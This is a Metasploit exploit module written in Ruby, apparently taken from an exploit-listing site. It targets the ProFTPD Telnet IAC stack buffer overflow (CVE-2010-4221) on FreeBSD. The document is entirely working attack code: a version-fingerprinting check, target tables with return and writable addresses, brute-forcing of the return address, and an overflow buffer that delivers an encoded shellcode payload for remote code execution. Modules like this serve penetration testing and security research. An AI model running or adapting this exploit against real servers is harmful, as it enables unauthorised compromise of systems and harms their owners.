## https://sploitus.com/exploit?id=MSF:EXPLOIT-FREEBSD-FTP-PROFTP_TELNET_IAC-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Ftp
include Msf::Exploit::Brute
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)',
'Description' => %q{
This module exploits a stack-based buffer overflow in versions of ProFTPD
server between versions 1.3.2rc3 and 1.3.3b. By sending data containing a
large number of Telnet IAC commands, an attacker can corrupt memory and
execute arbitrary code.
},
'Author' => [ 'jduck' ],
'References' => [
['CVE', '2010-4221'],
['OSVDB', '68985'],
['BID', '44562']
],
'DefaultOptions' => {
'EXITFUNC' => 'process',
'PrependChrootBreak' => true
},
'Privileged' => true,
'Payload' => {
'Space' => 1024,
# NOTE: \xff's need to be doubled (per ftp/telnet stuff)
'BadChars' => "\x00\x0a\x0d",
'PrependEncoder' => "\x83\xec\x7f" # sub esp,0x7f (fix esp)
},
'Platform' => [ 'bsd' ],
'Arch' => [ ARCH_X86 ],
'Targets' => [
#
# Automatic targeting via fingerprinting
#
[ 'Automatic Targeting', { 'auto' => true } ],
#
# This special one comes first since we dont want its index changing.
#
[
'Debug',
{
'IACCount' => 8192, # should cause crash writing off end of stack
'Offset' => 0,
'Ret' => 0x41414242,
'Writable' => 0x43434545
}
],
#
# specific targets
#
[
'ProFTPD 1.3.2a Server (FreeBSD 8.0)',
{
'IACCount' => 1024,
'Offset' => 0x414,
# 'Ret' => 0xbfbfeac4,
'Writable' => 0x80e64a4,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xbfbffdfc },
'Stop' => { 'Ret' => 0xbfa00000 },
'Step' => 512
}
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2010-11-01',
'Notes' => {
'Stability' => [ CRASH_SERVICE_DOWN, ],
'Reliability' => [ REPEATABLE_SESSION, ],
'SideEffects' => [ IOC_IN_LOGS, ]
}
)
)
register_options(
[
Opt::RPORT(21),
]
)
end
def check
# NOTE: We don't care if the login failed here...
connect
banner = sock.get_once || ''
# We just want the banner to check against our targets..
vprint_status("FTP Banner: #{banner.strip}")
status = CheckCode::Safe('ProFTPD version does not appear to be vulnerable')
if banner =~ /ProFTPD (1\.3\.[23])/i
banner_array = banner.split('.')
if banner_array.count > 0 && !banner_array[3].nil?
# gets 1 char on the third part of version number.
relnum = banner_array[2][0..0]
tmp = banner_array[2].split(' ')
# gets extra string info of version number.
# example: 1.2.3rc ('rc' string)
extra = tmp[0][1..(tmp[0].length - 1)]
if relnum == '2'
if !extra.empty?
if extra[0..1] == 'rc'
v = extra[2..extra.length].to_i
if v && v > 2
status = CheckCode::Appears("ProFTPD #{banner.strip} appears vulnerable")
end
else
status = CheckCode::Appears("ProFTPD #{banner.strip} appears vulnerable")
end
end
elsif relnum == '3'
if [ '', 'a', 'b', ].include?(extra)
status = CheckCode::Appears("ProFTPD #{banner.strip} appears vulnerable")
end
end
end
end
disconnect
return status
end
def target
return @mytarget if @mytarget
super
end
def exploit
connect
# Use a copy of the target
@mytarget = target
if target['auto']
@mytarget = nil
print_status('Automatically detecting the target...')
if banner && (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i))
print_status("FTP Banner: #{banner.strip}")
version = m[1]
else
fail_with(Failure::NoTarget, 'No matching target')
end
regexp = Regexp.escape(version)
targets.each do |t|
if (t.name =~ /#{regexp}/)
@mytarget = t
break
end
end
if !@mytarget
fail_with(Failure::NoTarget, 'No matching target')
end
print_status("Selected Target: #{@mytarget.name}")
pl = exploit_regenerate_payload(@mytarget.platform, arch)
if !pl
fail_with(Failure::Unknown, 'Unable to regenerate payload!')
end
else
print_status("Trying target #{@mytarget.name}...")
if banner
print_status("FTP Banner: #{banner.strip}")
end
payload
end
disconnect
super
end
def brute_exploit(addrs)
@mytarget ||= target
ret = addrs['Ret']
print_status('Trying return address 0x%.8x...' % ret)
# puts "attach and press any key"; bleh = $stdin.gets
buf = ''
buf << 'SITE '
# NOTE: buf must be odd-lengthed prior to here.
buf << "\xff" * @mytarget['IACCount']
buf << rand_text_alphanumeric(@mytarget['Offset'] - buf.length)
buf << [
ret,
@mytarget['Writable']
].pack('V*')
buf << payload.encoded
buf << "\r\n"
connect
sock.put(buf)
disconnect
handler
end
end